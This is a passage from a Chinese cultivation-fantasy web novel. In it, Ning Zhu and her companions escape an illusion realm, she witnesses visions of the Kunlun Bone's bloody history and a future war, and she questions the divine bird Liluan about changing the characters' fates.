“一直留在幻境……也很好。” 少女的眼睛蓦地瞪圆了,她正要开口说话,江似忽然伸手一勾,将人抱到自己怀中。 宁竹挣扎了下,江似闷声说:“让我抱一下。” 少年将她抱得很紧:“宁竹,对不起。” “……很痛吧。” 宁竹愣了下,眼角微微弯起来:“还好,幻境里受伤好得很快。” 江似沉默了片刻,忽然问:“宁竹,跟我说说你自己的幻境吧。” 这回换宁竹陷入了沉默。 “不想说也没关系。” 下一秒,宁竹却开口道:“我的幻境里……是我已经死去的家人。” 少年的手收紧了。 宁竹没再说话。 江似绞尽脑汁,干巴巴安慰她:“我从没见过我的爹爹。” 宁竹有点惊讶。 这好像……是江似第一次跟她说起自己的身世。 有的话一开口,再说下去便没那么困难了。 江似笑了下:“我娘是个疯子,在我很小的时候就死了。” “刚开始的时候我觉得她死了也很好,至少不会有人在半夜的时候摸到我床边,试图把我掐死。” 宁竹震惊不已。 她张了张唇,想要说点什么,却又觉得说什么都是那么苍白无力。 江似陷入回忆:“但后来我才明白……” 他笑了下:“哪怕是个疯子,但她依然给了我一个家。” “她死后,我们那个破破烂烂的小院子很快被人抢走,我流落街头,成了与狗争食的乞丐。” “后来……” 后来他险些死了,如果不是谢寒卿多手多脚…… 但江似笑了下:“后来我便拜入了天玑山。” 他将头埋在宁竹肩上,换了个话题:“宁竹,你到底要问神鸟什么问题?” 宁竹顿了下,没有敷衍他:“我现在也不知道怎么说。” “江似,等我见到神鸟吧,如果这个问题有解决办法,我再告诉你。” 如果连神鸟也没办法回答的话……便没必要告诉任何人了。 江似眼眸微动:“好。” “宁竹。” “嗯?” “我还是那句 话,如果我能帮忙,就算倾尽所有,我也会帮你。” 宁竹慢慢笑了下:“嗯。” 另一边,已经化作实体的谢寒卿站在一座假山之后,静静看着庭院中的两人。 姜沁月笑盈盈对着蓝衣男子说:“怎么又买那么多东西?” 蓝衣男子微微笑了下:“看着还算新奇,买来给你尝一尝。” 裴宣影在一旁笑得促狭:“我说你们两个啊,都成婚那么多年了,还黏黏糊糊。” 姜沁月和蓝衣男子相视一笑。 谢寒卿面无表情盯着蓝衣男子。 此人相貌清隽,行走之间颇有闲云野鹤的潇洒姿态。 与记忆之中被囚于阶下,颓唐不堪的那个谢平阳截然不同。 谢平阳说:“思无的生辰是在明日吧。” 裴宣影笑道:“是,这孩子,自小被我惯的太娇气了,一个生辰而已,要四处宴请。” 姜沁月立刻说:“就这样才好,大家热热闹闹凑在一起,最开心了。” “娘。”谢寒卿忽然走出了假山。 姜沁月回过头来,在看到谢寒卿的那一瞬,她的表情竟有些迷茫。 谢平阳随之看来。 两人四目相对。 谢寒卿的眉眼生得其实很像谢平阳,眉如晓山青,眼似云间月。 只是谢寒卿多了三分清冷,而谢平阳的眉眼,自有一番落拓不羁的风骨。 谢寒卿眼珠微微转了下,对着些谢平阳唤:“爹。” 其实只是很小的变化。 但谢寒卿敏锐地捕捉到了。 谢平阳和姜沁月两个人,似乎在一瞬间被修正了记忆,从迷茫,惊愕,再到天衣无缝。 姜沁月快步走上来,脸上尽是欢喜:“你这孩子,怎么一声不吭就来了。” 谢平阳则是淡淡问:“可跟你师尊告过假了。” 谢寒卿盯着他:“嗯,师尊允我告假五日。” 谢平阳略一颔首:“不可耽误修炼。” 姜沁月却是抬手打了他一下:“你这人真是的,咱们卿儿好不容易告假下山,非得在这提什么修炼不修炼。” 她拉着谢寒卿走到石桌边坐下:“卿儿,看看有没有爱吃的,都是你爹爹刚刚买回来的。” 谢寒卿的目光从那些海物干货上划过。 姜沁月热络地拿起其中一个油纸包:“这家的虾酥很出名,你尝尝。” 谢寒卿抬眸看她。 女人的容貌很清晰,比他从旁人记忆中窥见的清晰无数倍。 她就这么笑盈盈看着他,眼角的细纹都带着温柔。 谢寒卿接过虾酥,送入口中。 腥味在舌尖绽开,谢寒卿面无表情将虾酥咽了下去。 “好吃吗?” “嗯。” “那再来一块?” 谢寒卿垂眸,接过那条虾酥。 姜沁月离开梦京时,他只出生了十几天。 又怎么会知道,这么爱吃海物的她,会诞下一个从来不碰海物的孩子。 他本以为姜沁月是姜思无的幻觉。 但在看到谢平阳的那一刻,谢寒卿就知道,自己错了。 谢平阳被囚于地牢二十载,除了谢家几个掌权者,没有人见过他,又如何能成为旁人的幻觉出现在此处? ……他们最后出现的地点,是归墟。 谢凌风的声音在耳畔回荡。 谢寒卿冷淡剔透的眼瞳看向谢平阳和姜沁月。 可这两个人,和其他幻觉一模一样。 天色一点点暗下来,谢寒卿还没有回来。 宁竹有点坐不住了。 见她频频起身往外张望,江似啧了一声:“他离不了你太远,肯定还在这附近。” 宁竹闷闷坐回去:“我知道,但就是有点担心。” 江似不知何时把脸凑了过来,少年眼瞳极黑,带着点儿蛊惑的意味:“担心么?担心的话就让我去看看?” 宁竹摇头:“谢师兄没让我们跟上去,就不要去打扰他。” 江似退回去,舒舒服服靠在榻上:“宁竹,你不觉得那个蓝衣服的男人有点眼熟么?” 宁竹一回想,还真的有点眼熟。 江似仿佛漫不经心般说:“……和谢师兄有点像呢。” 宁竹先是一愣,联想到谢寒卿的反应,忽然毛骨悚然。 她曾不小心闯入过谢寒卿的记忆。 当时小谢寒卿被罚跪在台阶上,谢凌风险些失手杀了他。 也就是在那个时候,宁竹才知道谢凌风不是谢寒卿的生父,谢寒卿的生父另有其人。 宁竹忽然有了一个恐怖的猜测。 那个跟谢寒卿有几分相似的人……不会就是被谢家囚于暗牢二十载的谢平阳吧! 宁竹猛然起身:“我出去看看!” 她推开门,脚步匆匆冲了出去。 江似眯了眯眼,也起身跟了出去。 宁竹一路冲到晖灵台门口,忽然撞上一个人。 姜思无吃痛地捂着自己的肩:“宁师妹?怎么了?” 宁竹立刻问:“姜师兄,你有没有看见谢师兄?” 姜思无指指那边的瑶光台:“寒卿跟姑姑姑父在一起呢。” 宁竹提起裙摆便冲了过去。 她跑得太快,扶着拱门停下来时,大口大口喘着气。 庭院里的三人同时抬头看来。 宁竹一愣。 桌案上放着酒,三人的面色都染上了一层绯红。 谢寒卿看见她的那一瞬,眉眼变得柔和:“宁师妹。” 姜沁月好奇地打量着宁竹,面上也是和善的笑意。 而旁边的蓝衣男人,也就是谢平阳,微微冲着宁竹颔了下首。 宁竹进也不是退也不是,僵在原地。 谢寒卿起身,他朝着宁竹走过来:“宁宁,这是我父母。” 宁竹有点搞不清楚状况。 这人是谢平阳没错吧? 如果宁竹没记错,谢平阳被囚于地牢二十载,只有谢家掌权者才见过他。 而这一次,谢家掌权者根本没来归墟,也就是说,眼前这个谢平阳,不可能是任何人的幻觉! 她都能猜到的事,谢师兄又怎么可能猜不到? 可是谢师兄为什么这般淡然? 他不觉得眼前有古怪吗? 宁竹狐疑地看向谢寒卿。 谢寒卿却牵起了宁竹的手,带着人走了过去:“爹,娘,这是宁竹。” 姜沁月笑盈盈站起身来,竟从自己手腕上褪下一个玉镯,拉起宁竹的手,套在她手腕上。 “好孩子,这是伯母给你的见面礼。” 宁竹就是再迟钝,此时也觉出不对劲来了。 哪有给孩子的朋友送这样的见面礼? 宁竹下意识要将玉镯褪下来,谢寒卿却按住她的手。 宁竹愣了下,抬头看谢寒卿。 谢寒卿:“收下吧,宁宁。” “不许收。”一道阴冷的声音响起。 江似大步跨进来,一把抓过宁竹的手,将玉镯从她手上褪下来,一把摔在地上。 玉镯清脆的碎裂声响起,江似冷笑:“谢寒卿,宁竹舍命救你出幻境,如今你又要沉湎其中吗?” 姜沁月仿佛被眼前的变故惊到了,她眉头微蹙:“这位小友,你说的幻境是什么意思?” 江似眼尾猩红,盯着她一字一句说:“意思是,你们都是假的。” 空气微微波动,仿佛有清越龙吟贯穿长空! 谢平阳怒喝:“竖子无礼!” 江似瞳孔一缩,抓住宁竹直直往半空中一腾! 方才他所站的地方霎时被一道剑意贯穿!霸道凌厉的剑气却还不肯放过他,如同银蛇追击而上! 魔气翻涌,凝成一道屏障护在宁竹身前,将剑气击散。 江似足下踏着翻涌的黑云,掌心凝出一柄长剑,咬牙切齿道:“找死。” 谢平阳眉峰微竖,怒道:“你是魔修!” 他反手一挥,把姜沁月护在结界中,掌心慢慢涌出金光。 层云凝固,月色都黯淡,一柄通体流转着炽烈光芒的长剑出 现在他手中。 谢平阳提起长剑,挥剑一荡! 周遭霎时夷为平地,天摇地动,仿佛空气都要被撕裂! 但江似又岂是寻常人,他衣角无风自动,一双幽暗的眼死死盯着谢平阳,源源不断的魔气与谢平阳的剑意相缠。 金色与黑色交织,如同蛟龙缠斗,天际怒雷翻滚,惊动了许多人。 宁竹听到姜思无惊疑不定的声音响起:“怎么会有魔修?!” 白晚焦急的声音传来:“宁竹!宁竹还在上面!!” “宁竹被魔修抓住了!” 谢平阳和江似还在打,周围飞沙走石,天地变色,宁竹躲在魔气凝成的屏障后,进退不得。 见白晚和姜思无竟然有要御剑上来的意思,她吓得连连摆手:“不是!你们误会了!别过来!!” 姜思无和白晚根本不听,眼见他们已经踏上飞剑要过来,宁竹吓得冲着江似大喊:“快停手!” 魔气和剑气会将他们搅碎! 可是谢平阳的剑意再度贯穿长空,发出清啸,将宁竹的声音掩盖。 姜思无和白晚踏上了飞剑。 宁竹眼眸瞪大。 就在这时,忽有另一道裹挟着金光的剑意横空而出,从背后袭来,贯穿了谢平阳的胸口。 所有人都愣住了。 怀卿剑飞旋着回到谢寒卿手中。 小仙君眉眼清冷,苍白的脸上溅了一点血。 姜沁月绝望的哭泣声响起:“夫君!!” 谢平阳缓缓回过头,唇边涌出血沫:“寒,寒卿……” 谢寒卿握着滴血的长剑,瞳孔剔透而冷淡,他提剑,再度刺穿了姜沁月的胸口。 姜沁月抽搐着倒在了地上。 宁竹呼吸都凝滞,指尖一片冰凉。 她看见,谢寒卿在颤抖。 小仙君的白衣溅上星星点点的殷红,他低垂着眼睫,面色很平静。 安静了一瞬。 周围忽然开始坍塌。 第70章 外围的人最先从幻境中掉出去, 宁竹随即看见白晚和姜思无也跌出了幻境。 江似不清楚眼前到底发生了什么,但这些都不重要,他一把抓住宁竹的手:“走!” 谢寒卿跪在了地上。 旁边,便是他父母的尸身。 宁竹瞳孔一缩。 姜沁月和谢平阳尸身接触的地面在慢慢融化, 仿佛变成了沼泽, 一切都在往下陷。 谢寒卿的膝盖一点点被吞没。 宁竹大喊:“谢师兄!” 谢寒卿单手握住怀卿剑, 长睫微敛, 仿若未闻。 姜沁月和谢平阳的尸身被彻底吞没。 谢寒卿一动不动, 大半个身子都陷在泥沼中。 江似回头看谢寒卿一眼, 心底涌起快意, 抓着宁竹飞快往外逃。 就在这时,忽有红丝缠住江似的身子, 将他往外重重一推! “宁竹!!” 江似忙伸手去抓,却只抓到了少女的一点衣带。 宁竹如同一只蹁跹的燕, 从半空中坠落, 飞向谢寒卿。 无数红丝缠绕住谢寒卿,试图将他往外拉,然而红丝接触到泥沼,竟反被往下拉! 宁竹脸色苍白, 祭出更多红丝。 然而没有用,宁竹被一股巨大的力往下拽去! 电光石火间,泥沼霎时吞没了谢寒卿。 眼见宁竹也快要被吞没,江似飞身而下,一把抓住了少女的手腕! “宁竹!!” 无数魔气翻涌而出, 试图包裹住宁竹。 但那泥沼实在诡异,竟连魔气都能侵吞。 宁竹呼吸不畅,断断续续说:“松, 松手……我,洞府,西北方石坛下,有,有好多灵石……” “你……拿……走。” 泥沼吞没了宁竹的口鼻。 江似目眦欲裂:“宁竹!你休想!!!” 少年冲进泥沼中,死死抱住了宁竹的身子。 泥沼将他们一同淹没。 江似把少女的头往自己胸口靠,心想,就是死……你也只能和我死在一起。 “叮……” 清脆的铃音响起。 须发皆白的老人摇晃着手中铃铛:“龙须糖诶!又香又甜的龙须糖!” 热闹嘈杂的街巷出现在眼前。 宁竹的意识慢慢回笼。 她环顾了四周一圈,发现自己漂浮在半空中,像是一道幽魂。 ……她死了? 一对年轻的夫妇停在老人面前。 “月儿,你不是爱吃这个吗?” 男人带着面具,女子带着帷帽,女子停下来,笑着说:“那我们买一些吧,平阳。” 宁竹跟着飘了过去。 女子看了四周一圈,拨开帷帽,将一小块龙须糖送入口中。 宁竹心头一惊。 这对夫妇正是姜沁月和谢平阳。 她这是……又入了别人的记忆? 宁竹试图抛出一个法诀,但发现什么都没办法操控。 看来就跟那次误入谢寒卿的记忆一样。 反正现在也出不去,只能既来之则安之。 宁竹跟着姜沁月夫妇飘。 两人很快回到了一个不起眼的小院。 谢平阳身子似乎很虚弱,回去后便躺在榻上。 姜沁月给他煎药送过来,谢平阳很抱歉:“月儿,你受苦了。” 姜沁月笑着摇了下头。 画面一转,天色黯了下来。 姜沁月不知何时披衣起身,坐在庭院中默默流泪。 谢平阳推开了门。 姜沁月忙抹掉眼泪,正要说什么,谢平阳走过来,轻轻抱住她:“月儿,将来若有机会,我们可以暗中去探望卿儿。” 姜沁月却摇头:“他能平安长大便足矣。” 谢平阳沉默片刻:“是我对不起你们。” 姜沁月:“不必自责,昆仑骨不能再存于世间,卿儿还小,剔骨之痛虽难忍……但他长大了也就不记得了。” 谢平阳握住她的手:“若我知道昆仑骨乃是通过血脉相传,当初断断不会让你生下卿儿。” 宁竹懵了。 他们在说什么?什么昆仑骨,什么剔骨? 画面又是一转。 还是那个小院,只是屋子里传来痛苦的嘶吼声。 砰的一声,房门被炸开,墙壁倏然倒塌。 姜沁月浑身是血,用缚仙锁捆住谢平阳:“……平阳!忍一忍!” 谢平阳躬身侧躺在地上,唇被生生咬烂,瞳孔涣散,一副将死之相。 宁竹惊恐地看着眼前之人。 谢平阳周身都在散发着金光,跟她第一次遇见谢寒卿时一模一样。 谢平阳喉头发出嗬嗬的声音,忽然抬手掐住了姜沁月的脖颈。 他瞳孔猩红,脸上爬满青筋,已然全无神智。 姜沁月缓缓落下一滴泪来。 谢平阳一颤,忽然松开手。 姜沁月倒在地上,微笑着拉住他的手:“……平阳。” 她双目充血,嗓音亦沙哑不堪。 谢平阳跪在地上,嚎啕大哭起来。 宁竹不知道发生了什么,只见画面再度一转,姜沁月头发已经白了一半,整个人更是苍老了许多。 她关上屋门,对枯坐院中的谢平阳说:“她已经睡着了。” 谢平阳变得异常沉默,姜沁月在一旁絮絮叨叨说着话,他都没有回复任何一句。 宁竹听着他们说话,心里一惊。 ……姜沁月说,屋子里的女人马上就要生产了。 待到婴儿诞生,他们便伺机剔去昆仑骨,这一次不会在出现任何差错。 宁竹一头雾水,之前不是说昆仑骨在谢寒卿身上吗? 为什么又要对这个即将出生的婴孩动手? 很快她的疑问便得到了解释。 那是一个雾气蒙蒙的夜,天上的月色都泛着不详的红。 屋子里的女人生产了。 谢平阳沉默地坐在院中,整个人枯槁不已。 生产并不顺利。 姜沁月陪在正在生产的女人旁,喂她服下一枚丹药。 女人脸都痛得扭曲,她一口咬住姜沁月的手。 姜沁月眉头蹙起,硬生生忍下来。 阵痛过去,女人含含糊糊说:“……待我生下 他,给,给我灵石。” 姜沁月温柔道:“好,你放心。” 女人忽然再度抓住她的手,她哀戚道:“好痛啊……我的肚子好痛……” 姜沁月的手背被她掐得全是血印,但她仍在安慰她:“慢慢来。” 她垂眸掩下眼底苦涩,喃喃自语:“若非我伤了身子,又怎么会让你替我生下这个孩子……” 女人足足生产了一天一夜。 第二天凌晨时分,她诞下了一个男婴。 也就是此刻,在院中枯坐的谢平阳忽然动了。 他单手举起那个浑身糊满血的婴孩,以指为剑,从他背脊处生生剖处一块金色的骨头。 婴孩痛得凄厉大哭,姜沁月忙将婴孩接过去,喂他服下镇痛止血的丹药。 谢平阳轻轻颤抖,喃喃自语:“不会有错了,这是最后一块昆仑骨……” 他抬手,要毁去那块金色的骨头。 变故便是在此时发生的。 空气似乎微微扭曲了下,在场所有人,同时被炸成了血雾。 宁竹如同被人从头上重重打了一棍,耳边嗡嗡作响。 那枚金色的骨片坠落在地,迅速失去了光泽。 眼前一片漆黑。 也不知道过了多久,宁竹忽然听到有人破口大骂:“找死!” 眼前慢慢明亮起来。 宁竹心下一沉,记忆还没结束。 刚刚下过雨,路上满是泥泞。 一个身形瘦小的小乞丐被膀大腰圆的男人一脚踹在地上。 男人从小乞丐手中夺过自己的钱袋,还不解气,一脚又一脚踹在他身上。 小乞丐弓着背跪在地上,护住自己的要害。 但他太过瘦小,男人又是下了死手,小乞丐很快倒在了地上,口鼻流血,一动不动。 男人朝他吐了口口水,骂了句:“晦气!” 车来车往,无数泥点飞溅而起,小乞丐很快变得像一块脏抹布。 终于有一个驱车路过的富商注意到了他。 那富商交代了几句,侍从下车查看,冲着主人摇了摇头。 富商叹了口气,又交代了他几句。 侍从买了一副草席,将人裹着,丢到了城郊的一块荒地。 在他走后,草席动了。 爬出来一个浑身脏兮兮的小孩,他手中握着侍从的钱袋,面无表情离开。 他走到一间卖包子的铺子前,买了三个包子。 店家很嫌弃,挥手让他赶紧离开。 小乞丐抓着包子大口大口咀嚼,朝着反方向离开。 路上下起了雨,他看起来饿坏了,混着雨水将包子狼吞虎咽吃掉,全然不顾包子上沾了泥水。 画面猛地下坠。 “天生魔体十分难得,不若以锁魂钉封锁其神魂,将其炼化为法器……” 宁竹听到了一道熟悉的声音。 她循声看去,竟是掌门清虚真人。 清虚真人旁边正是谢凌风,两人正在交谈,看样子似乎打算往他们面前的小乞丐身体里埋入什么锁魂钉。 然而小乞丐似乎承受不住锁魂钉,霎时变成了一滩血沫。 宁竹不敢置信地看着掌门和谢凌风装作若无其事清理完身上的血迹,转身离开了。 角落里忽然走出来一个身着白衣的小少年。 宁竹惊讶地瞪大眼。 ……是小谢寒卿! 他看着小谢寒卿从血沫中捡出一块骨片,将骨片葬在了一处飞花如雪的树林中。 画面再次变化。 爬满毒虫蛇蚁的黑岩之上,银发如瀑的男子孑然独立,似乎在眺望着远方。 ……这不是魔尊弃苍吗? 宁竹想要飘到前方看清他的脸,画面却忽然暗去。 在下雨,但又好像不是雨。 一切都笼在猩红的色泽中。 宁竹的视线一点点变得清晰。 待到看清眼前画面,她控制不住地颤抖起来,眸底浮现出惊恐。 ……这是天玑山。 熟悉的三千阶被血海淹没,尸体横陈,众人死相恐怖。 宁竹一路往上飘,尸体密密麻麻,层层叠叠,竟是一眼看不到尽头。 直到来到问心石旁。 一人单手执剑,跪在一个血阵之中。 那人身上的天玑山内门弟子服血色干透,满头白发在空中飘舞。 宁竹的目光缓缓往上,落到了她的脸上。 她容颜枯槁,宛若八旬老妇,睁着一双空洞的眼,不甘地看着远方。 宁竹喉头哽咽,飘上前去,手指颤抖着抚上发鬓间的那枚凤和白玉簪。 ……这是白暮师姐。 倒在白暮脚下的齐玉明只剩下半截身子,而一旁那个头颅不翼而飞的女修……是谭芸。 宁竹看向周围,发现了一张又一张熟悉的脸。 她仿佛被人掐住喉头,呼吸不得。 画面再度一转。 黑云翻涌,空气中充斥着的血腥味几欲令人作呕。 一人白衣孤冷,站在一对相拥的夫妇面前,夫妇俩怀中抱着一个小小的婴孩,婴孩啼哭不止,声音凄厉地飘荡在空中。 而他身后,无数尸体七零八落横陈。 宁竹怔怔盯着他发冠上的天玄离尘带,以及他手中那柄血迹落了一层又一层的怀卿剑上。 “仙君饶命……” “仙君饶命啊!!” 宁竹张了张唇,想开口唤他谢师兄。 下一秒,谢寒卿提剑,刺穿了那对夫妇的心口。 婴孩被溅了满脸的血,大声啼哭起来。 谢寒卿走到婴孩面前。 宁竹飘到谢寒卿面前:“谢师兄!他只是个婴孩!” 谢寒卿瞳色极浅,眼白泛着一丝诡异的血色。 两人隔空对望。 忽有一人从旁边祭出飞剑,一剑贯穿那婴孩的心口。 婴孩的啼哭戛然而止。 宁竹跌在地上。 一个不过十一二岁的小少年走上前来,拿回长剑,满脸恨色:“魔修屠尽我满门!今日我便要血刃仇敌,以告慰爹娘在天之灵!” 身后有人应和:“杀遍天下魔修!” “杀遍天下魔修!!” 画面再度变幻。 墨竹苍翠,云海滔滔。 天际看不到月亮,只有孤星几点散落其中。 宁主还没从方才的惊恐中缓过神来,她无措地往四周飘。 这又是哪里? 直到她看见一个身形清瘦的青年趺坐在屋中。 他满头墨发以银状鹤冠高束,披散在肩头的发竟隐隐约约夹杂了银丝。 宁竹心尖一跳。 ……这好像是很多年之后的谢寒卿。 仙君眉眼微垂,依然清冷得像一捧雪,只是通身却多了几分孤寂萧索的气质。 他唇色发乌,脸色苍白如纸,鼻尖却有细碎的汗珠滚落。 宁竹后知后觉,今日竟然是朔月! 谢寒卿的病又发作了! 他眼睫颤抖,忽地吐出一口乌黑的血来。 仿佛某种不祥的预兆,谢寒卿弯下腰,大口大口的吐血。 宁竹忍不住失声唤:“谢师兄!” 污血很快将他的白衣染得一片狼藉。 他倒在地上不省人事。 然而就在这时,檐下风灯轻响。 一道幽暗的影踏进屋中。 男人银发如雪,居高临下看着谢寒卿。 宁竹的心脏砰砰直跳,来人是弃苍。 他偏了下头,笑盈盈说:“谢寒卿,睁开你的眼,看看我是谁。” 倒在血泊中的谢寒卿动了动手指,他睁开那双冷淡的眼,面上表情没有丝毫波动。 弃苍笑起来:“正邪之战,已有百年之久,今日是时候了结了。” 谢寒卿仿佛已经伤及肺腑,连话都说不出来了。 弃苍抬起了左手,魔气凝出一柄锋利的长剑。 他感叹道:“百年来,你我一直在想方设法杀死彼此,可惜了,到底还是我先快了一步。” 长剑飞旋,朝着谢寒卿的脊骨刺去,一寸寸,剖出了一块金色的骨头。 宁竹浑身颤抖,瞳孔因为极度恐惧而紧缩着。 金色的骨头飞向弃苍,弃苍一把握住。 弃苍盯着那块骨头看了许久,声音有点哑:“谢寒卿,你可知道,百年之前若非你多管闲事将我葬在地下,便不会有今日。” 他掌心慢慢渗出金光,将那块骨头一点点吞噬融化。 弃苍舒展了一下筋骨,握住长剑,朝着谢寒卿走去。 谢寒卿的发顷刻变得雪白,而弃苍的发却在一点点变黑。 他停在了他面前。 弃苍看着脚下毫无还手之力的仙君,语气很冷淡:“百年前,我屠你天玑山满门,你也让我的魔域血流成河,我们之间算是扯平了。” “今日便让你死个明白。” “知道是谁告诉了我你的秘密吗?” “关于朔月的秘密。” 弃苍依然戴着面具,幽深漆黑的眼掩在面具下,叫人无法窥探他的情绪。 “哦,忘了噬血咒发作,你修为尽 失,肺腑已被融成血水,说不出话来了。” 弃苍语气里含着笑,不打算再卖关子:“是你的亲舅舅姜起林告诉我的。” “对了,已经失传的嗜血咒,也是我教给他,他又亲自下到你身上的。” “朔月之时,你体内的昆仑骨会发作,而我在这个时候取出你的昆仑骨,便可以彻底杀了你。” 他低声笑起来:“没想到吧,你我体内同有昆仑骨,偏偏只有你,有这个致命的弱点。” “可惜啊……你藏得那么深的秘密,到底还是被人发现了。” “识时务者为俊杰,你负隅顽抗这么多年,不还是抵不住许多人暗自向我俯首称臣?” “我可以替他们炼制身体,让他们不伤不痛,不死不灭,你又能给他们什么?” 弃苍冷笑:“谢寒卿,你对人性,实在是太不了解了。” 谢寒卿微微蜷缩着身子,像是一捧将要融化的雪。 哪怕这幅模样,他的神情依然没有恐慌和狼狈。 仿佛平静的接受了自己的结局。 弃苍不想再与他多说,他提起手中长剑:“你我为敌百年,今日我便给你个痛快。” 他双指合并,操纵着长剑朝谢寒卿心口刺去。 然而就在这时,弃苍神情忽然一变。 他的身体从内到外散发出一种诡异的金光。 停滞了片刻,仿佛有万千道剑意在他体内翻搅。 弃苍脸上那块鎏银面具霎时碎为齑粉。 一张熟悉的脸出现在宁竹眼前。 宁竹脑海一片空白。 他甚至来不及说出一句话,整个人便被碎成了千万片。 满屋子都是血。 一块完整的骨片缓缓掉落,朝着谢寒卿飞了过去。 无数金光隐没在他的身体中。 破碎的内脏在一点点新生,谢寒卿的脸色慢慢恢复了正常。 他缓缓起身,拖拽着血衣,一步步朝着屋外走了出去。 而宁竹已经彻底来不及思索眼前发生的一切了。 她眼前倒映的全是那张熟悉的脸。 那张……同江似一模一样的脸。《 》 70-80 第71章 风很大, 拂动着谢寒卿的衣袍。 远处青山连绵,云雾缭绕,孤星点点,散落于天幕。 谢寒卿的袖角落依然绣着青莲流云纹, 只是制式有所不同。 青年仙君满头银发在风中飞舞。 他抬头看向天际, 唇角扬起一抹极淡的笑意。 砰。 半空中绽开了一场极为细腻的烟花雨。 崖上之人, 已然消失不见。 一切都化为虚无。 宁竹的意识慢慢回笼。 她四肢摊开, 躺在地上, 胸膛重重地起伏着, 瞳孔有些涣散。 一道温柔的男声响起:“咦?” “……溯及过往, 窥知未来,这是什么人?” 仿佛有一股涓涓细流滑过了她的识海。 那道男声了然道:“原来是异世来者。” 他声音有些慵懒:“说吧, 本尊只回答一个问题。” 宁竹动了动手指。 她转动了下酸胀得有些发痛的眼,看向男人。 周遭一片白茫茫, 仿佛天地混沌处, 一切都是不成形的。 唯独那个男人。 他赤足坐在一根凭空伸出的琼枝之上,满头白发,就连眉毛和睫毛都是白色。 唯独他背脊上生着的那对巨大的鸟羽,色泽华丽, 仿佛汇聚了天地间所有的颜色。 宁竹张了张唇,声音沙哑不堪:“……这是哪里?” 男人笑起来,他笑时仿佛春风拂面:“百年以来,你是第二个踏入音希山之人。” ……音希山。 宁竹缓缓爬起来:“您就是神鸟?” 男人微笑:“本尊道号漓鸾。” “漓鸾仙尊,我……” 漓鸾的声音忽然变得冷淡:“本尊只回答一个问题, 一个问题之后,你会被遣出音希山。” 宁竹抿唇。 漓鸾很有耐心一般,静静等着她开口。 宁竹沉默了很久, 她说:“您方才也看见了,我是异世来客,这里是一本书。” 漓鸾笑起来:“书?” 他的语气有些倨傲:“三千世界,何为真,何为假?” 宁竹垂下眼睫,喃喃重复:“何为真,何为假。” 宁竹的指尖在轻轻颤抖,片刻后,仿佛下定了决心,她抬起眼眸看向漓鸾:“漓鸾仙尊,我要问的问题是,怎么样才能改变他们的结局?” 漓鸾终于正色看向宁竹。 “方才本尊说过,我只回答一个问题。” 宁竹的语气变得更加坚定:“是,我想要仙尊告诉我,如何才能改变结局?” 漓鸾笑起来:“方才我看见了你的心声,你来音希山找我,想问的不是这个问题吧?” 宁竹沉默片刻:“只求仙尊告诉我,如何才能改变结局。” 漓鸾盯着她看了很久。 片刻后,他从身旁琼枝撷下一朵如霜似雪的花,放在指尖玩弄。 “既然你已经看见了前因后果,应该知道昆仑骨是不该存在于世间之物。” 他语气有些发冷:“昆仑骨必须被毁灭。” 他望着宁竹,一字一句道:“知道魔渊为什么会开口么?” 宁竹的眼眸一点点瞪大,难道…… 漓鸾点头:“不错,和昆仑骨有关。” “昆仑骨乃神族之物,被凡人获取之后,势必会引起天地失衡。” “所以拥有昆仑骨的人,迟早有一天会因为承受不住昆仑骨的神力而消亡,还归神力于天地。” “天地法则如此。” 宁竹愣了下,试探着说:“百年之前,来找您的第一个人是姜沁月吧。” 宁竹忙摇了摇手:“我不是要问您问题!” 漓鸾没好气地看她一眼,没有回答,也没有否认。 宁竹在飞快的思索着。 她方才看见的,正是这本书原本的故事线。 魔修血洗天玑山,修士屠尽魔域,修真界与魔域为敌百年,生灵涂炭。 而这一切的起因,都是昆仑骨。 她猜到百年前姜沁月应该是来了音希山,问该如何毁去昆仑骨。 当时的谢平阳,便已经开始承受不住昆仑骨的神力了。 应该是漓鸾告诉她,昆仑骨可以通过血脉相传,只要母体一怀孕,昆仑骨便会转移到胎儿身上。 至于他们为什么要对刚生下来的婴孩动手…… 很有可能是因为在孕育胎儿的过程中,昆仑骨是无法被取出的。 而昆仑骨会随着本体生长而慢慢变强,在昆仑骨刚诞生之时,是它最弱小的时候。 姜沁月和漓鸾的想法是一致的。 他们都想毁掉昆仑骨。 但是不知道为什么出了岔子,姜沁月诞下谢寒卿并毁去了一块昆仑骨,但谢平阳体内居然还有一块。 他们已经没办法杀死谢平阳体内的昆仑骨,只能如法炮制,再度诞下一个孩子,在昆仑骨最弱小的时候将其毁掉。 但是这一次依然没能成功。 ……江似杀掉了所有人,昆仑骨没有被毁去。 不仅如此,多年之后,清虚真人和谢凌风阴差阳错在江似体内钉下锁魂钉,让他当场“死亡”,那块昆仑骨又被谢寒卿捡到并亲手埋葬。 宁竹不知道是当年谢寒卿体内的 昆仑骨本就没有被清除干净,还是因为他接触到了江似的那块昆仑骨,产生了某些共振…… 总之谢寒卿体内依然有一块昆仑骨。 方才她看到江似在对谢寒卿说,这么多年他们一直在寻找杀死彼此的方法。 也就是说,两块昆仑骨之间无法杀死彼此。 但是最后……谢寒清选择了自爆而亡。 那么可不可以猜测,昆仑骨合二为一,并且本体足够强大之时,可以通过自杀的方式毁去昆仑骨? 谢寒卿和谢平阳不同。 谢平阳被囚于暗牢二十载,而谢寒卿一直是同龄人中的佼佼者,更何况她看到的时间线里,已经是百年之后。 谢寒卿定然比当年的谢平阳厉害得多,所以通过这种方式毁去昆仑骨是可行的。 既然如此,有没有一种可能,就是让第三个人同时获得两块昆仑骨。 然后再毁去这块昆仑骨。 这样的话,就可以避免两块昆仑骨的拥有者自相残杀,也能避免修真界和魔域为敌百年的情况。 漓鸾忽然开口说:“昆仑骨乃神族之物,肉体凡胎如何能承受。” “你们凡人若想和昆仑骨共存,只能从怀胎之时,便开始消化昆仑骨的神力。” “要寻找这第三人,谈何容易。” 宁竹没想到他能一眼洞穿自己的想法。 通过诞下婴孩,在婴孩尚且弱小的时候毁去昆仑骨的方法已经失败了。 她也不尴尬,而是问:“那仙尊可否告诉我,要如何在不伤害他们两个人的情况下,毁去昆仑骨?” 只要这样,便能改变他们的结局。 漓鸾沉默片刻,道:“拥有昆仑骨的人,不死不灭,旁人伤不了他分毫,但是昆仑骨,是可以被拥有者心甘情愿剖出的。” 宁竹一愣,她立刻说:“昆仑骨被强行剖出后,拥有者会不会死?” 漓鸾:“拥有者的肉身与昆仑骨乃是一体,昆仑骨一旦被取出,肉身便会死亡。” 宁竹的指尖一点点凉下去。 等等。 漓鸾说的是……肉身? 这是在修真界,肉身被毁,神魂留存,也可以通过一些手段“活”下来。 